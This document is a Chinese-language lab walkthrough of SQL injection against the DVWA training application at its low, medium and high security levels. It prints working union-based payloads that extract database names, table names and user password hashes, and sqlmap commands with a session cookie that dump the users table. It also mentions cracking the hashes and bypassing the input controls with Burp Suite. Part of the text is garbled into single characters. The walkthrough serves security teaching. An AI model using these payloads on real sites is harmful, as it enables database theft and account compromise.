SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。SQL注入漏洞的危害是巨大的,常常会导致整个数据库被“脱裤”,尽管如此,SQL注入仍是现在最常见的Web漏洞之一
简单难度(LOW)
$id = $_REQUEST[ 'id' ];
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
源码分析得,注入点是id,并且是字符型注入,服务端接收id参数,没有做任何处理,并且有回显,和报错详情,可以使用联合查询和报错注入以及时间盲注来实现手工注入。
1、手工注入
输⼊到6以上时⽆回显,我们猜测id对应有5⾏数据
输⼊1’提交,我们来判断⼀下后台数据库查询语⾔的类型是数字型还是字符型
字符型注⼊的SQL语句形如
select * from xx where id='
i
d
′
变量被引号包起来了,引号内是⽂本整数型注⼊的
S
Q
L
语句形如
s
e
l
e
c
t
∗
f
r
o
m
x
x
w
h
e
r
e
i
d
=
id' 变量被引号包起来了,引号内是⽂本 整数型注⼊的SQL语句形如 select * from xx where id=
id′变量被引号包起来了,引号内是⽂本整数型注⼊的SQL语句形如select∗fromxxwhereid=id
(1) 分别输⼊ 1 and 1=1 和 1 and 1=2,都能返回正常结果
说明不是整数型注⼊,因为如果是整数型注⼊,执⾏select * from xx where id=1 and 1=2 时应报错。
(2) 输⼊ 1’ or ‘1’='1 ,返回所有结果,这就是常说的万能密码
内部的查询语句为:
3、判断列数
输⼊是1’ order by 3#
后台执⾏的是
SELECT first_name, last_name FROM users WHERE user_id = ‘1’ order by 3# ';
这⾥是来猜解前⾯的查询语句的字段为⼏个,如果对不上会报错
这⾥猜解到查询语句的字段数是两个
4、猜解数据库名
通过union执⾏两条sql语句,将数据库名给输出出来
1 ’ union select 1,database()#
数据库名:DVWA
5、获取数据库中的表名
1’ union select 1, group_concat(table_name) from information_schema.tables where
table_schema=database()#
6、获得字段中的数据
1’ union select user, password from users#
可以登录https://www.somd5.com/进⾏解密
⽤sqlmap 实现SQL注⼊
注意-u后⾯要加有注⼊点的链接,所以我们这⾥填⼊的是id=1的链接,并且后⾯要加cookie
查看cookie
1、构造sqlmap语句 (打开kali搜索工具sqlmap)
sqlmap -u “http://172.31.63.146/DVWA/vulnerabilities/sqli/?id=&Submit=Submit#” --cookie=“security=low;PHPSESSID=q5ioevonccgh08rj6ivlk4najo”
2、使⽤–batch 参数,可以让sqlmap为我们⾃动填写执⾏选项
sqlmap -u “http://172.31.63.146/DVWA/vulnerabilities/sqli/?id=&Submit=Submit#” --cookie=“security=low;PHPSESSID=q5ioevonccgh08rj6ivlk4najo” -batch
3、使⽤–dbs 获取所有的数据库
sqlmap -u “http://172.31.63.146/DVWA/vulnerabilities/sqli/?id=&Submit=Submit#” --cookie=“security=low;PHPSESSID=q5ioevonccgh08rj6ivlk4najo” --dbs
4、使⽤-D指定数据库,–tables 查看数据中的表
sqlmap -u “http://172.31.63.146/DVWA/vulnerabilities/sqli/?id=&Submit=Submit#” --cookie=“security=low;PHPSESSID=q5ioevonccgh08rj6ivlk4najo” -batch --dbs -D dvwa --tables
5、⽤-D xxx -T xxx 指定表,–columns查看表的列
sqlmap -u “http://172.31.63.146/DVWA/vulnerabilities/sqli/?id=&Submit=Submit#” --cookie=“security=low;PHPSESSID=q5ioevonccgh08rj6ivlk4najo” -batch --dbs -D dvwa -T users --columns
6、⽤-C xxx --dump 输出指定列的数据
sqlmap -u “http://172.31.63.146/DVWA/vulnerabilities/sqli/?id=&Submit=Submit#” --cookie=“security=low;PHPSESSID=q5ioevonccgh08rj6ivlk4najo” -batch --dbs -D dvwa -T users -C user -dump
中级难度(medium)
我们发现没有输⼊框,中级加⼊了⼀些防御,不让⽤户输⼊,只提供选择(可以⽤burpsuit抓包来绕
过),需要把浏览器设置为代理
1、⼿⼯注⼊
我们抓⼀下包,把数据包发送到repeater⾥⾯,原理⼀样的,我们尝试之前的⼀些⼿⼯注⼊的payload
获得字段中的数据
Sqlmap 实现注⼊
1.⽤burpsuite 捕获正常的数据包,然后右键,选择 “copy to file”,保存为1.txt
2. python sqlmap.py -r 1.txt --batch --dbs
⾼级难度(high)
可以看出,点击“
here to change your ID”
,⻚⾯⾃动跳转,防御了⾃动化的SQL注⼊,分析源码可以看
到,对参数没有做防御,在sql查询语句中限制了查询条数,可以通过burpsuit抓包,修改数据包实现绕
过。
获取账号密码
1’ union select user,password from users#